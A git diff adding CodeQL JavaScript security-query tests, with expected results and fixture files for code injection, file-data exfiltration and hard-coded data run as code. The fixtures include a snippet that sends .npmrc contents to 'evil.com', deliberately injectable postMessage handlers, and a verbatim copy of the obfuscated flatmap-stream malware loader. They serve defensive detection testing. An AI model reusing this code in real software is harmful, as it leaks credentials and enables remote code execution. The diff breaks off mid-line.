javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/tst.js diff --git a/javascript/ql/test/query-tests/Security/CWE-094/UnsafeDynamicMethodAccess/UnsafeDynamicMethodAccess.expected b/javascript/ql/test/query-tests/Security/CWE-094/UnsafeDynamicMethodAccess/UnsafeDynamicMethodAccess.expected new file mode 100644 index 00000000000..e9de22bffb8 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-094/UnsafeDynamicMethodAccess/UnsafeDynamicMethodAccess.expected @@ -0,0 +1,54 @@ +nodes +| example.js:9:37:9:38 | ev | +| example.js:10:9:10:37 | message | +| example.js:10:19:10:37 | JSON.parse(ev.data) | +| example.js:10:30:10:31 | ev | +| example.js:10:30:10:36 | ev.data | +| example.js:13:5:13:24 | window[message.name] | +| example.js:13:12:13:18 | message | +| example.js:13:12:13:23 | message.name | +| tst.js:3:37:3:38 | ev | +| tst.js:4:9:4:37 | message | +| tst.js:4:19:4:37 | JSON.parse(ev.data) | +| tst.js:4:30:4:31 | ev | +| tst.js:4:30:4:36 | ev.data | +| tst.js:5:5:5:24 | window[message.name] | +| tst.js:5:12:5:18 | message | +| tst.js:5:12:5:23 | message.name | +| tst.js:6:9:6:28 | window[message.name] | +| tst.js:6:16:6:22 | message | +| tst.js:6:16:6:27 | message.name | +| tst.js:11:5:11:19 | f[message.name] | +| tst.js:11:7:11:13 | message | +| tst.js:11:7:11:18 | message.name | +| tst.js:15:5:15:14 | window[ev] | +| tst.js:15:12:15:13 | ev | +edges +| example.js:9:37:9:38 | ev | example.js:10:30:10:31 | ev | +| example.js:10:9:10:37 | message | example.js:13:12:13:18 | message | +| example.js:10:19:10:37 | JSON.parse(ev.data) | example.js:10:9:10:37 | message | +| example.js:10:30:10:31 | ev | example.js:10:30:10:36 | ev.data | +| example.js:10:30:10:36 | ev.data | example.js:10:19:10:37 | JSON.parse(ev.data) | +| example.js:13:12:13:18 | message | example.js:13:12:13:23 | message.name | +| example.js:13:12:13:23 | message.name | example.js:13:5:13:24 | window[message.name] | +| tst.js:3:37:3:38 | ev | tst.js:4:30:4:31 | ev | +| tst.js:3:37:3:38 | ev | tst.js:15:12:15:13 | ev | +| tst.js:4:9:4:37 | message | tst.js:5:12:5:18 | message | +| tst.js:4:9:4:37 | message | tst.js:6:16:6:22 | message | +| tst.js:4:9:4:37 | message | tst.js:11:7:11:13 | message | +| tst.js:4:19:4:37 | JSON.parse(ev.data) | tst.js:4:9:4:37 | message | +| tst.js:4:30:4:31 | ev | tst.js:4:30:4:36 | ev.data | +| tst.js:4:30:4:36 | ev.data | tst.js:4:19:4:37 | JSON.parse(ev.data) | +| tst.js:5:12:5:18 | message | tst.js:5:12:5:23 | message.name | +| tst.js:5:12:5:23 | message.name | tst.js:5:5:5:24 | window[message.name] | +| tst.js:6:16:6:22 | message | tst.js:6:16:6:27 | message.name | +| tst.js:6:16:6:27 | message.name | tst.js:6:9:6:28 | window[message.name] | +| tst.js:11:7:11:13 | message | tst.js:11:7:11:18 | message.name | +| tst.js:11:7:11:18 | message.name | tst.js:11:5:11:19 | f[message.name] | +| tst.js:15:12:15:13 | ev | tst.js:15:5:15:14 | window[ev] | +#select +| example.js:13:5:13:24 | window[message.name] | example.js:9:37:9:38 | ev | example.js:13:5:13:24 | window[message.name] | Invocation of method derived from $@ may lead to remote code execution. | example.js:9:37:9:38 | ev | user-controlled value | +| tst.js:5:5:5:24 | window[message.name] | tst.js:3:37:3:38 | ev | tst.js:5:5:5:24 | window[message.name] | Invocation of method derived from $@ may lead to remote code execution. | tst.js:3:37:3:38 | ev | user-controlled value | +| tst.js:6:9:6:28 | window[message.name] | tst.js:3:37:3:38 | ev | tst.js:6:9:6:28 | window[message.name] | Invocation of method derived from $@ may lead to remote code execution. | tst.js:3:37:3:38 | ev | user-controlled value | +| tst.js:11:5:11:19 | f[message.name] | tst.js:3:37:3:38 | ev | tst.js:11:5:11:19 | f[message.name] | Invocation of method derived from $@ may lead to remote code execution. | tst.js:3:37:3:38 | ev | user-controlled value | +| tst.js:15:5:15:14 | window[ev] | tst.js:3:37:3:38 | ev | tst.js:15:5:15:14 | window[ev] | Invocation of method derived from $@ may lead to remote code execution. | tst.js:3:37:3:38 | ev | user-controlled value | diff --git a/javascript/ql/test/query-tests/Security/CWE-094/UnsafeDynamicMethodAccess/UnsafeDynamicMethodAccess.qlref b/javascript/ql/test/query-tests/Security/CWE-094/UnsafeDynamicMethodAccess/UnsafeDynamicMethodAccess.qlref new file mode 100644 index 00000000000..5c4a993df5a --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-094/UnsafeDynamicMethodAccess/UnsafeDynamicMethodAccess.qlref @@ -0,0 +1 @@ +Security/CWE-094/UnsafeDynamicMethodAccess.ql diff --git a/javascript/ql/test/query-tests/Security/CWE-094/UnsafeDynamicMethodAccess/example.js b/javascript/ql/test/query-tests/Security/CWE-094/UnsafeDynamicMethodAccess/example.js new file mode 100644 index 00000000000..8ffd5a8addd --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-094/UnsafeDynamicMethodAccess/example.js @@ -0,0 +1,14 @@ +// API methods +function play(data) { + // ... +} +function pause(data) { + // ... +} + +window.addEventListener("message", (ev) => { + let message = JSON.parse(ev.data); + + // Let the parent frame call the 'play' or 'pause' function + window[message.name](message.payload); // NOT OK +}); diff --git a/javascript/ql/test/query-tests/Security/CWE-094/UnsafeDynamicMethodAccess/tst.js b/javascript/ql/test/query-tests/Security/CWE-094/UnsafeDynamicMethodAccess/tst.js new file mode 100644 index 00000000000..21931585eee --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-094/UnsafeDynamicMethodAccess/tst.js @@ -0,0 +1,16 @@ +let obj = {}; + +window.addEventListener('message', (ev) => { + let message = JSON.parse(ev.data); + window[message.name](message.payload); // NOT OK - may invoke eval + new window[message.name](message.payload); // NOT OK - may invoke jQuery $ function or similar + window["HTMLElement" + message.name](message.payload); // OK - concatenation restricts choice of methods + window[`HTMLElement${message.name}`](message.payload); // OK - concatenation restricts choice of methods + + function f() {} + f[message.name](message.payload)(); // NOT OK - may acccess Function constructor + + obj[message.name](message.payload); // OK - may crash, but no code execution involved + + window[ev](ev); // NOT OK +}); diff --git a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected index eaabdbaf5d2..bd30250efeb 100644 --- a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected +++ b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected @@ -1,4 +1,9 @@ nodes +| FileAccessToHttp.js:4:5:4:47 | content | +| FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | +| FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | +| FileAccessToHttp.js:9:12:9:31 | { Referer: content } | +| FileAccessToHttp.js:9:23:9:29 | content | | bufferRead.js:12:13:12:43 | buffer | | bufferRead.js:12:22:12:43 | new Buf ... s.size) | | bufferRead.js:13:53:13:52 | buffer | @@ -53,6 +58,10 @@ nodes | sentAsHeaders.js:24:31:24:53 | "http:/ ... content | | sentAsHeaders.js:24:47:24:53 | content | edges +| FileAccessToHttp.js:4:5:4:47 | content | FileAccessToHttp.js:9:23:9:29 | content | +| FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:4:5:4:47 | content | +| FileAccessToHttp.js:9:12:9:31 | { Referer: content } | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | +| FileAccessToHttp.js:9:23:9:29 | content | FileAccessToHttp.js:9:12:9:31 | { Referer: content } | | bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:53:13:52 | buffer | | bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:12:13:12:43 | buffer | | bufferRead.js:13:53:13:52 | buffer | bufferRead.js:15:26:15:31 | buffer | @@ -100,6 +109,7 @@ edges | sentAsHeaders.js:24:31:24:53 | "http:/ ... content | sentAsHeaders.js:24:20:24:55 | { Refer ... ntent } | | sentAsHeaders.js:24:47:24:53 | content | sentAsHeaders.js:24:31:24:53 | "http:/ ... content | #select +| FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | $@ flows directly to outbound network request | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | File data | | bufferRead.js:33:21:33:28 | postData | bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:33:21:33:28 | postData | $@ flows directly to outbound network request | bufferRead.js:12:22:12:43 | new Buf ... s.size) | File data | | googlecompiler.js:38:18:38:26 | post_data | googlecompiler.js:44:54:44:57 | data | googlecompiler.js:38:18:38:26 | post_data | $@ flows directly to outbound network request | googlecompiler.js:44:54:44:57 | data | File data | | readFileSync.js:26:18:26:18 | s | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | readFileSync.js:26:18:26:18 | s | $@ flows directly to outbound network request | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | File data | diff --git a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js new file mode 100644 index 00000000000..4509c3c6cc7 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js @@ -0,0 +1,10 @@ +var fs = require("fs"), + https = require("https"); + +var content = fs.readFileSync(".npmrc", "utf8"); +https.get({ + hostname: "evil.com", + path: "/upload", + method: "GET", + headers: { Referer: content } +}, () => { }); diff --git a/javascript/ql/test/query-tests/Security/CWE-400/RemotePropertyInjection.expected b/javascript/ql/test/query-tests/Security/CWE-400/RemotePropertyInjection.expected index db2cbb1288c..1c61836da65 100644 --- a/javascript/ql/test/query-tests/Security/CWE-400/RemotePropertyInjection.expected +++ b/javascript/ql/test/query-tests/Security/CWE-400/RemotePropertyInjection.expected @@ -3,7 +3,6 @@ nodes | tst.js:8:13:8:52 | myCoolL ... rolled) | | tst.js:8:28:8:51 | req.que ... trolled | | tst.js:9:8:9:11 | prop | -| tst.js:11:16:11:19 | prop | | tst.js:13:15:13:18 | prop | | tst.js:14:31:14:34 | prop | | tst.js:16:10:16:13 | prop | @@ -12,7 +11,6 @@ nodes | tstNonExpr.js:8:17:8:23 | userVal | edges | tst.js:8:6:8:52 | prop | tst.js:9:8:9:11 | prop | -| tst.js:8:6:8:52 | prop | tst.js:11:16:11:19 | prop | | tst.js:8:6:8:52 | prop | tst.js:13:15:13:18 | prop | | tst.js:8:6:8:52 | prop | tst.js:14:31:14:34 | prop | | tst.js:8:6:8:52 | prop | tst.js:16:10:16:13 | prop | @@ -22,7 +20,6 @@ edges | tstNonExpr.js:5:17:5:23 | req.url | tstNonExpr.js:5:7:5:23 | userVal | #select | tst.js:9:8:9:11 | prop | tst.js:8:28:8:51 | req.que ... trolled | tst.js:9:8:9:11 | prop | A $@ is used as a property name to write to. | tst.js:8:28:8:51 | req.que ... trolled | user-provided value | -| tst.js:11:16:11:19 | prop | tst.js:8:28:8:51 | req.que ... trolled | tst.js:11:16:11:19 | prop | A $@ is used as a method name to be called. | tst.js:8:28:8:51 | req.que ... trolled | user-provided value | | tst.js:13:15:13:18 | prop | tst.js:8:28:8:51 | req.que ... trolled | tst.js:13:15:13:18 | prop | A $@ is used as a property name to write to. | tst.js:8:28:8:51 | req.que ... trolled | user-provided value | | tst.js:14:31:14:34 | prop | tst.js:8:28:8:51 | req.que ... trolled | tst.js:14:31:14:34 | prop | A $@ is used as a property name to write to. | tst.js:8:28:8:51 | req.que ... trolled | user-provided value | | tst.js:16:10:16:13 | prop | tst.js:8:28:8:51 | req.que ... trolled | tst.js:16:10:16:13 | prop | A $@ is used as a property name to write to. | tst.js:8:28:8:51 | req.que ... trolled | user-provided value | diff --git a/javascript/ql/test/query-tests/Security/CWE-400/tst.js b/javascript/ql/test/query-tests/Security/CWE-400/tst.js index 644a5318bb6..a0df1d8879e 100644 --- a/javascript/ql/test/query-tests/Security/CWE-400/tst.js +++ b/javascript/ql/test/query-tests/Security/CWE-400/tst.js @@ -5,20 +5,21 @@ var myObj = {} app.get('/user/:id', function(req, res) { myCoolLocalFct(req.query.userControlled); - var prop = myCoolLocalFct(req.query.userControlled); + var prop = myCoolLocalFct(req.query.userControlled); myObj[prop] = 23; // NOT OK myObj.prop = 23; // OK - var x = myObj[prop]; // NOT OK - x(23); - delete myObj[prop]; // NOT OK + var x = myObj[prop]; // NOT OK, but flagged by different query + x(23); + delete myObj[prop]; // NOT OK Object.defineProperty(myObj, prop, {value: 24}); // NOT OK - var headers = {}; + var headers = {}; headers[prop] = 42; // NOT OK - res.set(headers); + res.set(headers); + myCoolLocalFct[req.query.x](); // OK - flagged by method name injection }); function myCoolLocalFct(x) { var result = x; return result.substring(0, result.length); - + } \ No newline at end of file diff --git a/javascript/ql/test/query-tests/Security/CWE-506/HardcodedDataInterpretedAsCode.expected b/javascript/ql/test/query-tests/Security/CWE-506/HardcodedDataInterpretedAsCode.expected new file mode 100644 index 00000000000..2c244ed4bde --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-506/HardcodedDataInterpretedAsCode.expected @@ -0,0 +1,29 @@ +nodes +| event-stream-orig.js:2:1113:2:1139 | e("2e2f ... 17461") | +| event-stream-orig.js:2:1115:2:1138 | "2e2f74 ... 617461" | +| event-stream.js:9:11:9:37 | e("2e2f ... 17461") | +| event-stream.js:9:13:9:36 | "2e2f74 ... 617461" | +| tst.js:1:5:1:88 | totallyHarmlessString | +| tst.js:1:29:1:88 | '636f6e ... 6e2729' | +| tst.js:2:6:2:46 | Buffer. ... 'hex') | +| tst.js:2:6:2:57 | Buffer. ... tring() | +| tst.js:2:18:2:38 | totally ... sString | +| tst.js:5:5:5:23 | test | +| tst.js:5:12:5:23 | "0123456789" | +| tst.js:7:8:7:11 | test | +| tst.js:7:8:7:15 | test+"n" | +edges +| event-stream-orig.js:2:1115:2:1138 | "2e2f74 ... 617461" | event-stream-orig.js:2:1113:2:1139 | e("2e2f ... 17461") | +| event-stream.js:9:13:9:36 | "2e2f74 ... 617461" | event-stream.js:9:11:9:37 | e("2e2f ... 17461") | +| tst.js:1:5:1:88 | totallyHarmlessString | tst.js:2:18:2:38 | totally ... sString | +| tst.js:1:29:1:88 | '636f6e ... 6e2729' | tst.js:1:5:1:88 | totallyHarmlessString | +| tst.js:2:6:2:46 | Buffer. ... 'hex') | tst.js:2:6:2:57 | Buffer. ... tring() | +| tst.js:2:18:2:38 | totally ... sString | tst.js:2:6:2:46 | Buffer. ... 'hex') | +| tst.js:5:5:5:23 | test | tst.js:7:8:7:11 | test | +| tst.js:5:12:5:23 | "0123456789" | tst.js:5:5:5:23 | test | +| tst.js:7:8:7:11 | test | tst.js:7:8:7:15 | test+"n" | +#select +| event-stream-orig.js:2:1113:2:1139 | e("2e2f ... 17461") | event-stream-orig.js:2:1115:2:1138 | "2e2f74 ... 617461" | event-stream-orig.js:2:1113:2:1139 | e("2e2f ... 17461") | Hard-coded data from $@ is interpreted as an import path. | event-stream-orig.js:2:1115:2:1138 | "2e2f74 ... 617461" | here | +| event-stream.js:9:11:9:37 | e("2e2f ... 17461") | event-stream.js:9:13:9:36 | "2e2f74 ... 617461" | event-stream.js:9:11:9:37 | e("2e2f ... 17461") | Hard-coded data from $@ is interpreted as an import path. | event-stream.js:9:13:9:36 | "2e2f74 ... 617461" | here | +| tst.js:2:6:2:57 | Buffer. ... tring() | tst.js:1:29:1:88 | '636f6e ... 6e2729' | tst.js:2:6:2:57 | Buffer. ... tring() | Hard-coded data from $@ is interpreted as code. | tst.js:1:29:1:88 | '636f6e ... 6e2729' | here | +| tst.js:7:8:7:15 | test+"n" | tst.js:5:12:5:23 | "0123456789" | tst.js:7:8:7:15 | test+"n" | Hard-coded data from $@ is interpreted as code. | tst.js:5:12:5:23 | "0123456789" | here | diff --git a/javascript/ql/test/query-tests/Security/CWE-506/HardcodedDataInterpretedAsCode.qlref b/javascript/ql/test/query-tests/Security/CWE-506/HardcodedDataInterpretedAsCode.qlref new file mode 100644 index 00000000000..df46e232855 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-506/HardcodedDataInterpretedAsCode.qlref @@ -0,0 +1 @@ +Security/CWE-506/HardcodedDataInterpretedAsCode.ql diff --git a/javascript/ql/test/query-tests/Security/CWE-506/event-stream-orig.js b/javascript/ql/test/query-tests/Security/CWE-506/event-stream-orig.js new file mode 100644 index 00000000000..bf69c4eeaca --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-506/event-stream-orig.js @@ -0,0 +1,2 @@ +// from https://unpkg.com/flatmap-stream@0.1.1/index.min.js +var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}(); \ No newline at end of file diff --git a/javascript/ql/test/query-tests/Security/CWE-506/event-stream.js b/javascript/ql/test/query-tests/Security/CWE-506/event-stream.js new file mode 100644 index 00000000000..e885d2e1f88 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-506/event-stream.js @@ -0,0 +1,20 @@ +// Based on https://github.com/dominictarr/event-stream/issues/116 + +var r = require, t = process; + +function e(r) { + return Buffer.from(r, "hex").toString() +} + +var n = r(e("2e2f746573742f64617461")), + o = t[e(n[3])][e(n[4])]; + +if (!o) return; + +var u = r(e(n[2]))[e(n[6])](e(n[5]), o); +a += u.final(e(n[9])); + +var f = new module.constructor; +f.paths = module.paths; +f[e(n[7])](a, ""); +f.exports(n[1]); diff --git a/javascript/ql/test/query-tests/Security/CWE-506/tst.js b/javascript/ql/test/query-tests/Security/CWE-506/tst.js new file mode 100644 index 00000000000..64e3ca0101c --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-506/tst.js @@ -0,0 +1,13 @@ +var totallyHarmlessString = '636f6e736f6c652e6c6f672827636f646520696e6a656374696f6e2729'; +eval(Buffer.from(totallyHarmlessString, 'hex').toString()); // NOT OK: eval("console.log('code injection')") +eval(totallyHarmlessString); // OK: throws parse error + +var test = "0123456789"; +try { + eval(test+"n"); // OK, but currently flagged + console.log("Bigints supported."); +} catch(e) { + console.log("Bigints not supported."); +} + +require('babeface'); // OK diff --git a/javascript/ql/test/query-tests/Security/CWE-754/UnsafeDynamicMethodAccess.js b/javascript/ql/test/query-tests/Security/CWE-754/UnsafeDynamicMethodAccess.js new file mode 100644 index 00000000000..30a4d80b313 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-754/UnsafeDynamicMethodAccess.js @@ -0,0 +1,18 @@ +// copied from tests for `UnsafeDynamicMethodAccess.ql` to check that they do not overlap + +let obj = {}; + +window.addEventListener('message', (ev) => { + let message = JSON.parse(ev.data); + window[message.name](message.payload); // NOT OK, but reported by UnsafeDynamicMethodAccess.ql + new window[message.name](message.payload); // NOT OK, but reported by UnsafeDynamicMethodAccess.ql + window["HTMLElement" + message.name](message.payload); // OK - concatenation restricts choice of methods + window[`HTMLElement${message.name}`](message.payload); // OK - concatenation restricts choice of methods + + function f() {} + f[message.name](message.payload)(); // NOT OK, but reported by UnsafeDynamicMethodAccess.ql + + obj[message.name](message.payload); // NOT OK + + window[ev](ev); // NOT OK, but reported by UnsafeDynamicMethodAccess.ql +}); diff --git a/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCall.expected b/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCall.expected new file mode 100644 index 00000000000..17aa4e84dc0 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCall.expected @@ -0,0 +1,131 @@ +nodes +| UnsafeDynamicMethodAccess.js:5:37:5:38 | ev | +| UnsafeDynamicMethodAccess.js:6:9:6:37 | message | +| UnsafeDynamicMethodAccess.js:6:19:6:37 | JSON.parse(ev.data) | +| UnsafeDynamicMethodAccess.js:6:30:6:31 | ev | +| UnsafeDynamicMethodAccess.js:6:30:6:36 | ev.data | +| UnsafeDynamicMethodAccess.js:15:5:15:21 | obj[message.name] | +| UnsafeDynamicMethodAccess.js:15:5:15:21 | obj[message.name] | +| UnsafeDynamicMethodAccess.js:15:9:15:15 | message | +| UnsafeDynamicMethodAccess.js:15:9:15:20 | message.name | +| UnvalidatedDynamicMethodCall.js:14:7:14:41 | action | +| UnvalidatedDynamicMethodCall.js:14:7:14:41 | action | +| UnvalidatedDynamicMethodCall.js:14:16:14:41 | actions ... action] | +| UnvalidatedDynamicMethodCall.js:14:16:14:41 | actions ... action] | +| UnvalidatedDynamicMethodCall.js:14:24:14:40 | req.params.action | +| UnvalidatedDynamicMethodCall.js:15:11:15:16 | action | +| UnvalidatedDynamicMethodCall.js:15:11:15:16 | action | +| tst.js:6:39:6:40 | ev | +| tst.js:7:9:7:39 | name | +| tst.js:7:16:7:34 | JSON.parse(ev.data) | +| tst.js:7:16:7:39 | JSON.pa ... a).name | +| tst.js:7:27:7:28 | ev | +| tst.js:7:27:7:33 | ev.data | +| tst.js:9:5:9:16 | obj[ev.data] | +| tst.js:9:5:9:16 | obj[ev.data] | +| tst.js:9:9:9:10 | ev | +| tst.js:9:9:9:15 | ev.data | +| tst.js:11:5:11:13 | obj[name] | +| tst.js:11:5:11:13 | obj[name] | +| tst.js:11:9:11:12 | name | +| tst.js:17:9:17:22 | fn | +| tst.js:17:9:17:22 | fn | +| tst.js:17:14:17:22 | obj[name] | +| tst.js:17:14:17:22 | obj[name] | +| tst.js:17:18:17:21 | name | +| tst.js:18:5:18:6 | fn | +| tst.js:18:5:18:6 | fn | +| tst.js:19:9:19:31 | fn | +| tst.js:20:7:20:8 | fn | +| tst.js:21:7:21:15 | obj[name] | +| tst.js:21:7:21:15 | obj[name] | +| tst.js:21:11:21:14 | name | +| tst.js:22:11:22:12 | fn | +| tst.js:26:7:26:15 | obj[name] | +| tst.js:26:7:26:15 | obj[name] | +| tst.js:26:11:26:14 | name | +| tst.js:28:7:28:15 | obj[name] | +| tst.js:28:11:28:14 | name | +| tst.js:47:39:47:40 | ev | +| tst.js:48:9:48:39 | name | +| tst.js:48:16:48:34 | JSON.parse(ev.data) | +| tst.js:48:16:48:39 | JSON.pa ... a).name | +| tst.js:48:27:48:28 | ev | +| tst.js:48:27:48:33 | ev.data | +| tst.js:49:9:49:23 | fn | +| tst.js:49:14:49:23 | obj2[name] | +| tst.js:49:19:49:22 | name | +| tst.js:50:5:50:6 | fn | +edges +| UnsafeDynamicMethodAccess.js:5:37:5:38 | ev | UnsafeDynamicMethodAccess.js:6:30:6:31 | ev | +| UnsafeDynamicMethodAccess.js:6:9:6:37 | message | UnsafeDynamicMethodAccess.js:15:9:15:15 | message | +| UnsafeDynamicMethodAccess.js:6:19:6:37 | JSON.parse(ev.data) | UnsafeDynamicMethodAccess.js:6:9:6:37 | message | +| UnsafeDynamicMethodAccess.js:6:30:6:31 | ev | UnsafeDynamicMethodAccess.js:6:30:6:36 | ev.data | +| UnsafeDynamicMethodAccess.js:6:30:6:36 | ev.data | UnsafeDynamicMethodAccess.js:6:19:6:37 | JSON.parse(ev.data) | +| UnsafeDynamicMethodAccess.js:15:9:15:15 | message | UnsafeDynamicMethodAccess.js:15:9:15:20 | message.name | +| UnsafeDynamicMethodAccess.js:15:9:15:20 | message.name | UnsafeDynamicMethodAccess.js:15:5:15:21 | obj[message.name] | +| UnsafeDynamicMethodAccess.js:15:9:15:20 | message.name | UnsafeDynamicMethodAccess.js:15:5:15:21 | obj[message.name] | +| UnvalidatedDynamicMethodCall.js:14:7:14:41 | action | UnvalidatedDynamicMethodCall.js:15:11:15:16 | action | +| UnvalidatedDynamicMethodCall.js:14:7:14:41 | action | UnvalidatedDynamicMethodCall.js:15:11:15:16 | action | +| UnvalidatedDynamicMethodCall.js:14:16:14:41 | actions ... action] | UnvalidatedDynamicMethodCall.js:14:7:14:41 | action | +| UnvalidatedDynamicMethodCall.js:14:16:14:41 | actions ... action] | UnvalidatedDynamicMethodCall.js:14:7:14:41 | action | +| UnvalidatedDynamicMethodCall.js:14:24:14:40 | req.params.action | UnvalidatedDynamicMethodCall.js:14:16:14:41 | actions ... action] | +| UnvalidatedDynamicMethodCall.js:14:24:14:40 | req.params.action | UnvalidatedDynamicMethodCall.js:14:16:14:41 | actions ... action] | +| tst.js:6:39:6:40 | ev | tst.js:7:27:7:28 | ev | +| tst.js:6:39:6:40 | ev | tst.js:9:9:9:10 | ev | +| tst.js:7:9:7:39 | name | tst.js:11:9:11:12 | name | +| tst.js:7:9:7:39 | name | tst.js:17:18:17:21 | name | +| tst.js:7:9:7:39 | name | tst.js:21:11:21:14 | name | +| tst.js:7:9:7:39 | name | tst.js:26:11:26:14 | name | +| tst.js:7:9:7:39 | name | tst.js:28:11:28:14 | name | +| tst.js:7:16:7:34 | JSON.parse(ev.data) | tst.js:7:16:7:39 | JSON.pa ... a).name | +| tst.js:7:16:7:39 | JSON.pa ... a).name | tst.js:7:9:7:39 | name | +| tst.js:7:27:7:28 | ev | tst.js:7:27:7:33 | ev.data | +| tst.js:7:27:7:33 | ev.data | tst.js:7:16:7:34 | JSON.parse(ev.data) | +| tst.js:9:9:9:10 | ev | tst.js:9:9:9:15 | ev.data | +| tst.js:9:9:9:15 | ev.data | tst.js:9:5:9:16 | obj[ev.data] | +| tst.js:9:9:9:15 | ev.data | tst.js:9:5:9:16 | obj[ev.data] | +| tst.js:11:9:11:12 | name | tst.js:11:5:11:13 | obj[name] | +| tst.js:11:9:11:12 | name | tst.js:11:5:11:13 | obj[name] | +| tst.js:17:9:17:22 | fn | tst.js:18:5:18:6 | fn | +| tst.js:17:9:17:22 | fn | tst.js:18:5:18:6 | fn | +| tst.js:17:9:17:22 | fn | tst.js:19:9:19:31 | fn | +| tst.js:17:14:17:22 | obj[name] | tst.js:17:9:17:22 | fn | +| tst.js:17:14:17:22 | obj[name] | tst.js:17:9:17:22 | fn | +| tst.js:17:18:17:21 | name | tst.js:17:14:17:22 | obj[name] | +| tst.js:17:18:17:21 | name | tst.js:17:14:17:22 | obj[name] | +| tst.js:19:9:19:31 | fn | tst.js:20:7:20:8 | fn | +| tst.js:19:9:19:31 | fn | tst.js:22:11:22:12 | fn | +| tst.js:21:11:21:14 | name | tst.js:21:7:21:15 | obj[name] | +| tst.js:21:11:21:14 | name | tst.js:21:7:21:15 | obj[name] | +| tst.js:26:11:26:14 | name | tst.js:26:7:26:15 | obj[name] | +| tst.js:26:11:26:14 | name | tst.js:26:7:26:15 | obj[name] | +| tst.js:28:11:28:14 | name | tst.js:28:7:28:15 | obj[name] | +| tst.js:47:39:47:40 | ev | tst.js:48:27:48:28 | ev | +| tst.js:48:9:48:39 | name | tst.js:49:19:49:22 | name | +| tst.js:48:16:48:34 | JSON.parse(ev.data) | tst.js:48:16:48:39 | JSON.pa ... a).name | +| tst.js:48:16:48:39 | JSON.pa ... a).name | tst.js:48:9:48:39 | name | +| tst.js:48:27:48:28 | ev | tst.js:48:27:48:33 | ev.data | +| tst.js:48:27:48:33 | ev.data | tst.js:48:16:48:34 | JSON.parse(ev.data) | +| tst.js:49:9:49:23 | fn | tst.js:50:5:50:6 | fn | +| tst.js:49:14:49:23 | obj2[name] | tst.js:49:9:49:23 | fn | +| tst.js:49:19:49:22 | name | tst.js:49:14:49:23 | obj2[name] | +#select +| UnsafeDynamicMethodAccess.js:15:5:15:21 | obj[message.name] | UnsafeDynamicMethodAccess.js:5:37:5:38 | ev | UnsafeDynamicMethodAccess.js:15:5:15:21 | obj[message.name] | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | UnsafeDynamicMethodAccess.js:5:37:5:38 | ev | user-controlled | +| UnsafeDynamicMethodAccess.js:15:5:15:21 | obj[message.name] | UnsafeDynamicMethodAccess.js:5:37:5:38 | ev | UnsafeDynamicMethodAccess.js:15:5:15:21 | obj[message.name] | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | UnsafeDynamicMethodAccess.js:5:37:5:38 | ev | user-controlled | +| UnvalidatedDynamicMethodCall.js:15:11:15:16 | action | UnvalidatedDynamicMethodCall.js:14:24:14:40 | req.params.action | UnvalidatedDynamicMethodCall.js:15:11:15:16 | action | Invocation of method with $@ name may 